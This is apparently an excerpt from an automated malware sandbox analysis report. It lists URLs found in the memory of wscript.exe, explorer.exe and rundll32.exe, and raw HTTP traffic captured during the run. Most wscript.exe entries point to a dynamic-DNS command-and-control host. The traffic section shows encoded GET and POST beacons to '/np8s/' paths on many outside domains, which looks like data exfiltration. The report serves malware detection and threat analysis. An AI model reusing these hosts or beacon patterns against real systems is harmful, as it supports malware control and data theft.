Source: wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreI
Source: wscript.exe, 00000007.00000003.774092404.0000019175C88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773130942.0000019175C83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreITL
Source: wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrr
Source: wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrrm
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreKTsNClZO
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961147065.0000019173A2A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.799097708.000002A0FC3C2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798949584.000002A0FC3BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966615187.000002A0FC3C3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreM
Source: wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreM:
Source: wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreMF
Source: wscript.exe, 00000009.00000002.972932842.000002A0FE300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreMpN
Source: wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreMs&
Source: wscript.exe, 00000002.00000003.896415401.0000015597A51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreMw
Source: wscript.exe, 00000005.00000003.754939043.000002CA057A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.964582567.000002CA03739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreP
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VrePSAiQ2wi
Source: wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreR
Source: wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreXGxvY2Fs
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreZXBsYWNl
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreZigpIHsNrrJ
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreadkhan.d
Source: wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreadkhan.duu
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreadkhan.duuJ
Source: wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreadkhan.duum
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VrebWcgPSAi
Source: wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VredmFyIGN0
Source: wscript.exe, 00000007.00000003.938446628.0000019173A5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938737820.0000019173A76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938565002.0000019173A64000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938264988.0000019173A54000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961784713.0000019173A77000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938676812.0000019173A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreeX9
Source: wscript.exe, 00000002.00000002.978866316.0000015597A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrei
Source: wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrel
Source: wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VrentWW
Source: wscript.exe, 00000002.00000002.961961202.0000015597A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.774305004.0000019173A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrenter2
Source: wscript.exe, 00000005.00000003.755644912.000002CA03755000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755692263.000002CA0376A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrenter22
Source: wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797967352.000002A0FC3D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrenter2Pac
Source: wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797967352.000002A0FC3D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreo
Source: wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreoX&B
Source: wscript.exe, 00000005.00000003.755185989.000002CA0572D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreoft.XMLHTTPll
Source: wscript.exe, 00000009.00000003.799097708.000002A0FC3C2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798949584.000002A0FC3BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vreox
Source: wscript.exe, 00000009.00000003.796829092.000002A0FC3A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797967352.000002A0FC3D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrep
Source: wscript.exe, 00000005.00000003.919796248.000002CA03757000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921213700.000002CA0376A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrer:
Source: wscript.exe, 00000002.00000002.961660167.0000015597430000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vres2
Source: wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773589121.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vret
Source: wscript.exe, 00000009.00000002.973024572.000002A0FE375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrets
Source: wscript.exe, 00000005.00000002.964582567.000002CA03739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrew
Source: wscript.exe, 00000007.00000002.973441987.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vrext10
Source: wscript.exe, 00000007.00000002.973441987.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre~
Source: explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehpHg9s
Source: explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehpr2
Source: rundll32.exe, 0000000D.00000002.1037944488.000000000505B000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ratebill.com
Source: rundll32.exe, 0000000D.00000002.1037944488.000000000505B000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ratebill.com/np8s/
Source: explorer.exe, 00000004.00000000.478971428.000000000E01D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;g
Source: explorer.exe, 00000004.00000000.511552982.000000000813C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779
Source: explorer.exe, 00000004.00000000.477200448.00000000081D3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.537643218.00000000081D3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852
Source: explorer.exe, 00000004.00000000.476914061.000000000818D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt
Source: explorer.exe, 00000004.00000000.537134730.000000000813C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.537519128.000000000818D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.476053409.000000000813C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.512260933.000000000818D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.476914061.000000000818D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.511552982.000000000813C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=
Source: explorer.exe, 00000004.00000000.476577870.0000000008172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: explorer.exe, 00000004.00000000.478971428.000000000E01D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.536743740.0000000008044000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.510215126.0000000008044000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1LMEM
Source: explorer.exe, 00000004.00000000.517717240.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.474624274.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540526960.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.572487291.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478971428.000000000E01D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: explorer.exe, 00000004.00000000.517717240.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540526960.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.572487291.000000000E01D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478971428.000000000E01D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1H
Source: explorer.exe, 00000004.00000000.524457764.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.487873413.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1LMEM
Source: wscript.exe, 00000002.00000003.896415401.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703701326.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755001537.000002CA056FB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773742708.0000019175BED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773589121.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: explorer.exe, 00000004.00000000.476577870.0000000008172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601451842&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: explorer.exe, 00000004.00000000.536624812.0000000007FFF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.domainnameshop.com/
Source: rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.domainnameshop.com/whois
Source: rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.domainnameshop.com/whois?currency=SEK&lang=sv
Source: rundll32.exe, 0000000D.00000002.1035473126.00000000049E2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.domeneshop.no/whois
Source: explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/
Source: explorer.exe, 00000004.00000000.517507891.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.478929782.000000000DFF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.540379994.000000000DFC1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/92
Source: explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/iehposignin141sntEs
Source: explorer.exe, 00000004.00000000.475095108.0000000008044000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.475980973.000000000811E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: explorer.exe, 00000004.00000000.614262773.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.614755248.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.524881667.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.524457764.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.488060173.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.487873413.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: explorer.exe, 00000004.00000000.488060173.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0m
Source: explorer.exe, 00000004.00000000.474624274.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0ytFd.

Source: unknown

HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.jlbwaterdamagerepairseattle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6c 77 6d 4a 77 72 34 4a 34 34 74 39 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b 36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47 6c 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67 4c 73 65 51 42 38 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a 55 7a 5a 35 4e 75 72 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35 37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69 64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4c 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6c 70 51 77 2d 6e 50 39 51 36 48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66 30 43 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4c 79 41 34 76 4f 55 52 39 4f 75 58 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=S9TWzjT4m4xUVIjasG4q0rlwmJwr4J44t9Mv4KW9t9Nty1R81xt49FXF7Ev2pXB0(At7iK6qIVmv9sMSsnAop-V9SBv8VmbY5QcU(-iiKRVbGlQmNh81MMCiNW9ycEftIn~1jzIXisvRwiBUI5agLseQB8rm2tf1Nibc3-Js3v7p6NC-O37gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiGLyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNkOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDqVP5t0IkVg1A6HMszYmU8Jf0Cf8RYnvdbjxGwrKAkIzokAoLm9YI4g_LyA4vOUR9OuXD2zySQxJFGmHsg).

Source: unknown

DNS traffic detected: queries for: dilshadkhan.duia.ro

Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7Qq3EYWraDKw9 HTTP/1.1Host: www.rasheedabossmoves.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpI6ry2rccLFMoZPirUOcSWhDiha&4hM4=o4B0f HTTP/1.1Host: www.84866.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=VOk/KoOKPmyFTHQXWsNAO627WiKHMN6hKQrMVwJFQe1euvxAvAuscpxAvIMnAXbQu1P/ HTTP/1.1Host: www.sekolahkejepang.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&4hM4=o4B0f HTTP/1.1Host: www.refreshertowels.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=vppS5AedQQffRlEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=o4B0f HTTP/1.1Host: www.medyumgalip.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=/pe3of3KthlHX+AZdE40oBjh24oMUm2DhTWzf9+6lBsOaTWyqOSb4stDRDmzQmtt1180&4hM4=o4B0f HTTP/1.1Host: www.halecamilla.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf HTTP/1.1Host: www.ratebill.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f HTTP/1.1Host: www.topings33.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=uZkZa9PDR+t76IUsjgXNksX18rdkaBR0jzgf+2QyrrE0BTZPOy5IBVEfZpk90w8gWC7R HTTP/1.1Host: www.localbloom.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f HTTP/1.1Host: www.brawlhallacodestore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=xL/YlJAUY6uB/cHSlkc/r5VaZJ7uMa0kbAtysG6BLnWT6huomjvuhq3RLtT5uw3RUbD6 HTTP/1.1Host: www.pdwfifi.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=0fJNa1pbsGGBLLIqJIKrQqKQ2B2XPA1kKZrGWkGMUEET6sTbN1/jKODkGG9Xc1lZm5PZ&4hM4=o4B0f HTTP/1.1Host: www.68chengxinle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&CTr8g=z48HVPSHfp HTTP/1.1Host: www.refreshertowels.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
